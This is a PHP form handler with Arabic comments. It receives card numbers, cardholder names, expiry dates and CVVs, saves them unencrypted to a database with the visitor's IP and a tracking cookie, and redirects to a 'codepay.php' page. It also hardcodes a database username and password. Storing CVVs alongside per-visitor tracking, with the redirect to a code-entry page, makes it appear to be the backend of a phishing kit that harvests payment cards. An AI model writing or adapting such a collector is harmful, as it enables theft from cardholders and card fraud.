<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);

// الاتصال بقاعدة البيانات
$mysqli = new mysqli("localhost", "cartoeso_tam", "AAssddff000000", "cartoeso_tam");
if ($mysqli->connect_error) {
    die("DB connection failed: " . $mysqli->connect_error);
}
$mysqli->set_charset("utf8mb4");

// السماح فقط بطلب POST
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    http_response_code(405);
    exit("Invalid request method");
}

// دوال مساعدة
function client_ip() {
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) return $_SERVER['HTTP_CLIENT_IP'];
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) return explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0];
    return $_SERVER['REMOTE_ADDR'] ?? '';
}
function uuidv4() {
    $d = random_bytes(16);
    $d[6] = chr((ord($d[6]) & 0x0f) | 0x40);
    $d[8] = chr((ord($d[8]) & 0x3f) | 0x80);
    return vsprintf('%s%s-%s-%s-%s-%s%s%s', str_split(bin2hex($d), 4));
}

// استلام المدخلات من الفورم
$card_number     = $_POST['card_number']     ?? '';
$cardholder_name = $_POST['cardholder_name'] ?? '';
$expiry_date     = $_POST['expiry_date']     ?? '';
$cvv             = $_POST['cvv']             ?? '';
$price_with_tax  = $_POST['price_with_tax']  ?? ''; // القيمة النهائية القادمة من الفورم

// تحويلها إلى رقم عشري (ولو كانت نص مثلاً "100.50")
$price_with_tax = is_numeric($price_with_tax) ? round(floatval($price_with_tax), 2) : 0.0;

$ip   = client_ip();
$form = "Card";
$unique_id = $_COOKIE['unique_id'] ?? uuidv4();
setcookie('unique_id', $unique_id, time() + 86400*30, "/");

// الإدخال في الجدول
$sql = "INSERT INTO card_payments 
        (card_number, cardholder_name, expiry_date, cvv, unique_id, ip, form_name, price_with_tax, created_at)
        VALUES (?, ?, ?, ?, ?, ?, ?, ?, NOW())";

$stmt = $mysqli->prepare($sql);
if (!$stmt) {
    die("Prepare failed: " . $mysqli->error);
}

// لاحظ: آخر باراميتر price_with_tax = d (double)
$stmt->bind_param("sssssssd",
    $card_number,
    $cardholder_name,
    $expiry_date,
    $cvv,
    $unique_id,
    $ip,
    $form,
    $price_with_tax
);

$ok = $stmt->execute();
if (!$ok) {
    die("Execute failed: " . $stmt->error);
}

// نفترض أن رقم البطاقة موجود في المتغير
$cardNumber = preg_replace('/\D/', '', $_POST['card_number']);
$bin = substr($cardNumber, 0, 4);

// شرط التحويل
if ($bin === '4847' || $bin === '4092' || $bin === '4054') {
    header("Location: ../../codepay.php");
    exit;
} else {
    header("Location: ../../codepay.php");
    exit;
}

// تنظيف
$stmt->close();
$mysqli->close();
